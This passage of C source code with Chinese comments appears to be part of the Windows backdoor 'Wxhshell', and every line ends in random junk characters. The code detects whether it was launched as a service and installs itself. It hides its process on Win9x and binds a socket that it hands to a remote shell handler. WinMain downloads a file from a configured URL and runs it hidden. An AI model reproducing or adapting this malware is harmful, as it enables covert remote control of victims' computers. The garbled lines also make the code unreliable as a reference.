ULONG InheritedFromUniqueProcessId; :/Es%z
D
} PROCESS_BASIC_INFORMATION; HOCj* O4
L@zhbWY
PROCNTQSIP NtQueryInformationProcess; E]m?R 4
Q[q`)~|
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T*=*$%
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U1lqg?KO
h9}*_qc&kV
HANDLE hProcess; (C).Vj~
PROCESS_BASIC_INFORMATION pbi; Ar,n=obG
,p(&G_
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ks6\lpr
if(NULL == hInst ) return 0; %.$7-+:7A
t&[<Dl/L
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >nih:5J,ja
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9^8OIv?m8
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g*LD}`X/-
8 Zp^/43
if (!NtQueryInformationProcess) return 0; wD{c$TJ?{F
)$df6sq
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3/ }
if(!hProcess) return 0; idX''%"
GPL%8 YY
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RB% y($
$6D*G-*8
CloseHandle(hProcess); uZJfIC<>
\M._x"
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k1zK3I&c_
if(hProcess==NULL) return 0; Sx e6&
$of2 lA
HMODULE hMod; m9i/rK_
char procName[255]; sO6=w%l^
unsigned long cbNeeded; zUv#%Q8vw
|m
?ZE:
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P#XV_2
,J!$Q0 e
CloseHandle(hProcess); kC
6*An_f
j4!O,.!T
if(strstr(procName,"services")) return 1; // 以服务启动 ArNQ}F/
zhFm2
return 0; // 注册表启动 25{_x3t^
} nR*'
3
M~|7gK.m1
// 主模块 <EN9s
int StartWxhshell(LPSTR lpCmdLine) q^EY?;Y
{ |3@DCbT
SOCKET wsl; je2_.^
BOOL val=TRUE; ~tW~%]bs2Q
int port=0; sTlel&
struct sockaddr_in door; \P?X`]NwnO
y5m2u8+
if(wscfg.ws_autoins) Install(); [{BY$"b#:
oR=i5lAU
port=atoi(lpCmdLine); Kmx^\vDs
_J W|3q
if(port<=0) port=wscfg.ws_port; <L#d<lx
8iJB'#''*
WSADATA data; xV5UaD<
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; AO|9H`6U6F
M]/aW
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; tMiIlf!>p
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )XK\[tL
door.sin_family = AF_INET; TI<
x;p
door.sin_addr.s_addr = inet_addr("127.0.0.1"); l_+@Xpl
door.sin_port = htons(port); x
I.W-js[
r%ES#\L6+|
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eNAxVF0
closesocket(wsl); :Tg+)c Z
return 1; L#UR>Z#9
} 1w^wa_qx
J @"#
if(listen(wsl,2) == INVALID_SOCKET) { Lau@HYW0
closesocket(wsl); XTJD>
return 1; E
s5:S#
} !-f Bw
Wxhshell(wsl); +&`W\?.~
WSACleanup(); 7R2O[=Szq
N"ga-u
return 0; PX
8 UVA
}#O!GG{
} ^QRg9s,T<
-[V-f> :
// 以NT服务方式启动 // o.+?S
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )S)L9('IxT
{ c0@8KW[,
DWORD status = 0; >0IZ%Wiz
DWORD specificError = 0xfffffff; \WCQ>c?~
7z{wYCw
serviceStatus.dwServiceType = SERVICE_WIN32; .gRj^pu
serviceStatus.dwCurrentState = SERVICE_START_PENDING; DYD<?._I
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^"/^)Lb!@M
serviceStatus.dwWin32ExitCode = 0; EiW|+@1
serviceStatus.dwServiceSpecificExitCode = 0; 5yy:JTAH5
serviceStatus.dwCheckPoint = 0; pE4a ~:
serviceStatus.dwWaitHint = 0; n{;j
JbMTULA
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wSTulo: 9
if (hServiceStatusHandle==0) return; ??rS h Mu
W7i|uTM
status = GetLastError(); 7~/ cz_
if (status!=NO_ERROR) QU|_
r2LM
{ NK_|h%
serviceStatus.dwCurrentState = SERVICE_STOPPED; _!\d?]Ya
serviceStatus.dwCheckPoint = 0; $cCC
1=dW
serviceStatus.dwWaitHint = 0; :]^e-p!z
serviceStatus.dwWin32ExitCode = status; uepyH
serviceStatus.dwServiceSpecificExitCode = specificError; ^OR0Vp>L
SetServiceStatus(hServiceStatusHandle, &serviceStatus); m~ tvuz I
return; f!Q\M1t)
} Aw o)a8e
-4a9 BE".
serviceStatus.dwCurrentState = SERVICE_RUNNING; Hcq.Lq;2:
serviceStatus.dwCheckPoint = 0; Mqf Ns<2
serviceStatus.dwWaitHint = 0; ':'g!b`/
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X%1TsCKMj
} kNEEu!G
_FLEz|%~
// 处理NT服务事件,比如:启动、停止 [4Z 31v>
VOID WINAPI NTServiceHandler(DWORD fdwControl) {f!/:bM
{ ]n22+]D
switch(fdwControl) 9(CvGzco<
{ qS!r<'F3dP
case SERVICE_CONTROL_STOP: $`=p]
serviceStatus.dwWin32ExitCode = 0; lo1Ui`V
serviceStatus.dwCurrentState = SERVICE_STOPPED; IUcL*
serviceStatus.dwCheckPoint = 0; Y Y:BwW:
serviceStatus.dwWaitHint = 0; ;SR ESW
{ 092t6D}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); yC,/R371k
} DHidI\*gT
return; c}x1-d8
case SERVICE_CONTROL_PAUSE: ,b+NhxdZ
serviceStatus.dwCurrentState = SERVICE_PAUSED; Qy,^'fSN
break; kmuksT\)a
case SERVICE_CONTROL_CONTINUE: "(koR Q
serviceStatus.dwCurrentState = SERVICE_RUNNING; }kbSbRH43
break; !,J#
r
case SERVICE_CONTROL_INTERROGATE: <_tmkLeZf
break; DA=U=F
}; ~,'{\jDrS
SetServiceStatus(hServiceStatusHandle, &serviceStatus); J(
}2Ua_
} '[F:uA
k_=SDm a
// 标准应用程序主函数 'nJF:+30ZH
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ejRK-!
{ #u<Qc T@
] m]`J|%i
// 获取操作系统版本 ZTC>Ufu2!
OsIsNt=GetOsVer(); kH!Z|Ps?R
GetModuleFileName(NULL,ExeFile,MAX_PATH); <J[le=
d{
(,Gy>I
// 从命令行安装 Iw1Y?Qia
if(strpbrk(lpCmdLine,"iI")) Install(); C2LPLquD+
[+#m
THX
// 下载执行文件 8$Q`wRt(%
if(wscfg.ws_downexe) { ?-??>& z
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wak 26W>I3
WinExec(wscfg.ws_filenam,SW_HIDE); t@RYJmW
} pMF
vL
5<?Ah+1
if(!OsIsNt) { |1tKQ0jg
// 如果时win9x,隐藏进程并且设置为注册表启动 FU|brSt
HideProc(); npP C;KD
StartWxhshell(lpCmdLine); !U`&a=k
} nx9PNl@?V
else zVh yAf
if(StartFromService()) _ %s#Cb
// 以服务方式启动 {%jAp11y+O
StartServiceCtrlDispatcher(DispatchTable); 9rB3h`AVF
else I?KN7(9u?
// 普通方式启动 D)*
StartWxhshell(lpCmdLine); !}*N';
,(jJOFf
return 0; {1GJ,['qL
} ;qx#]Z0 <
8&QST!JGSX
C|{Sj`,XG
rOIb9:
=========================================== 9t! d.}
,n|si#
<y 4(!z"
`RTxc
tZxx#v`
J%|?[{rO{'
" .Xg.,kW
mY|c7}>V;
#include <stdio.h> cJKnB!iL5
#include <string.h> |T#cq!
#include <windows.h> rcnH ^P
#include <winsock2.h> 2w>%-_]u+
#include <winsvc.h> 1nVQYqT_
#include <urlmon.h> V:0IBbh)w
uJ`N'`Z
#pragma comment (lib, "Ws2_32.lib") opX07~1
#pragma comment (lib, "urlmon.lib") h*%p%t<